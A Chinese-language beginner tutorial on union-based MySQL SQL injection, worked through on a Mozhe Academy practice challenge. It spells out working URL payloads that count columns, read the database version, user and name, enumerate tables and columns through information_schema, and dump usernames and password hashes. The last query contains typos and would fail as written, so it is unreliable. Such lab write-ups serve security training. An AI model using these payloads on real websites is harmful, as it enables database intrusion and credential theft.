SQL注入(一)——MySQL注入(1)
MySQL注入
- 信息收集
- 操作系统
- 数据库名
- 数据库用户
- 数据库版本
- 其他(网站路径等)
- 数据注入
- 同数据库**(以5.0版本为界限)**
- 低版本----->暴力查询或结合读取查询
- 高版本----->Information_schema有据查询
- 同数据库**(以5.0版本为界限)**
- 高权限注入
- 常规查询
- 跨库查询----->利用注入进行跨数据库查询
- 文件读写----->利用注入进行文件读取或写入
以上是我们需要在SQL注入中所需要做的,首先要收集各种信息,然后通过数据库的类型来判断选用什么方式注入
MySQL数据库
这里我们还需要了解一下MySQL数据库的构成,大概可以用以下的方式来表示:
- 数据库A
- 表名
- 列名
- 数据
- 列名
- 表名
- 数据库B
- 数据库C
- …
这里进行解释一下,由诸多数据库A,B,C,D…构成了一个完整的数据库
拿数据库A来举例,在数据库A下面由各种表名,而在各种表名下存在的是各种列名,列名下就是各种数据了。
而我们SQL注入所需要的就是各种数据。
这里再插入一个必要的知识点:
必要知识点
- 在Mysql5.0以上版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录所有表名,列名的数据库,也相当于可以查询它来获得想要的表明和列名信息。
- 数据库中符号“.”代表下一级,如xiaodi.ueser代表xiaodi数据库下的user表名
- information_schema.tables 记录所有表名信息的表
- information_shcema.columns 记录所有列名信息的表
- table_name 表名
- column_name 列名
- table_schema 数据库名
如何判断注入点
在网站的url中通常回出现 ?id=1,而在?id=1之后通常就是我们可以进行的注入点。
这里判断注入点我们提供两个方法,一个是老方法就是常见的and 1=1,and 1=2
另一个就是新的方法
-
老办法:
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面错误
可能存在诸如点
-
新方法:
在参数后加一堆烂七八糟的东西,然后看页面是否正常
要是正常说明没有带入到数据库中
否则就是将语句带入到数据库中了
例如:?id=1 dasjlkfhfga有的网站输入一堆乱七八糟的东西后爆404错误,说明网站对输入的东西有过滤,一般没有注入点
这里我们拿墨者学院中的一道题来具体讲解一下SQL注入的流程
例题演示
我们这里可以看到的是一个管理平台,但是我们没有账号和密码肯定登陆不进去(除了字典爆破),而且我们看到它下面有一个关于平台停机维护的提示框,我们点进去发现进入一个新的页面
而且在url中出现了刚刚熟悉的?id=1,我们查看它是否有注入点,我们选用刚刚学习的新方法,在?id=1后加一堆乱七八糟的东西
可以明显看到页面什么也没有显示,可以推断存在注入点
这时候我们先进行猜解列名
猜解列名
使用==order by X ==语句进行查询列名
我们使用?id=1 order by 1到4查询时都返回的是正确的页面,只有在输入5时返回了错误的页面,说明一共有四列
之后我们进行猜解准备
猜解准备
因为有四列,所有我们使用语句?id=1 union select 1,2,3,4进行猜解准备
语句执行后发现页面正确,所以我们需要使页面报错,通常情况下我们就是修改?id的值,将其修改为?id=-1这时页面才会进行报错,所以我们现在使用语句?id=-1 union select 1,2,3,4进行猜解准备
语句执行之后返回页面
这里可以看到页面返回了2和3,这里需要记住一点,因为我们刚刚进行猜解准备时使用的是1234,这里返回的是2和3,所有我们只需要在2,3的地方替换成我们想要查询的信息就可以显示出来。
函数
- 数据库版本
- version()
- 数据库名字
- database()
- 数据库用户
- user()
- 操作系统
- @@version_compile_os
我们一步一步开始,我们先开始收集数据库的版本和数据库的名字
使用语句
?id=-1 union select 1,version(),database(),4
我们可以看到数据库的版本是5.7,根据我们上文中的知识点来看,这里的数据库属于一个高本版,因为我们是以5.0作为分界线的。所以我们可以通过information_schema库来查看具体有哪些表名和列名。
而我们当前所处的数据库是mozhe_Discuz_StormGroup数据库
接下来我们继续查询数据库的用户和操作系统
?id=-1 union select 1,user(),@@version_compile_os,4
version: 5.7.22-0ubuntu0.16.04.1
database: mozhe_Discuz_StormGroup
@@version_compile_os: Linux
user: root@localhost
我们通过信息收集确定了数据库的版本,而且是高版本我们直接在information_schema库中查询有什么表
我们这里学习一条查询语句,它可以查询指定数据库下的表名的信息
?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘数据库的名字’
我们这里解读一下这条语句
union select和之前的一样,是进行查询,而后面的from information_shcema.tables 就是说在information_shcema这个库下的tables表中查询,而where是限制条件,查询数据库名字等于“数据库名字的表”
整体来说,就是在information_shcema库中的表名中查询库名是“数据库的名字”的表名。
我们现在去查询mozhe_Discuz_StormGroup数据库下有什么表名
?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
这里我们需要再知道一个知识点,我们查询的是mozhe_Discuz_StormGroup数据库下的表名,我们直接使用的是table_name,但是只显示了一个表名,如果我们使用group_concat(table_name)进行查询,就可以列出该库下的全部表名。
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘数据库的名字’
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
这时我们可以看到该库下还存在一个notice表
我们先查询第一个表名中的列
这里使用的语句与上面查询表名的语句很类似
但是我们需要使用的是information_schema中的列名,所以我们应该调用information_schema.column
语句的整体格式是:
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘表名’
因为我们肯定想要的是表下的所有列名所以我们就直接在这里加group_concat()了
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
这下就可以看到该表下就存在这四个列了我们这里只需要查到name和password的下的数据就好了
使用语句
?id=-1 union select 1,name,password,4 from 表名
?id=-1 union select 1,name,password,4 from StormGroup_member
这个密码用md5解密后发现根本无法登陆,显示用户被禁。
所以我们推断这个password下的数据不止这一个,我们继续使用刚刚的函数group_concat()来查询
?id=-1 union select 1,gourp_concat(password),3,4 from StormGroup_menber
总结
这是为小白写的一次sql注入基础篇,不知道大家是否能看懂,如果有什么写的不好的地方大家看不懂的话,还希望大家提出来,我来为大家解答。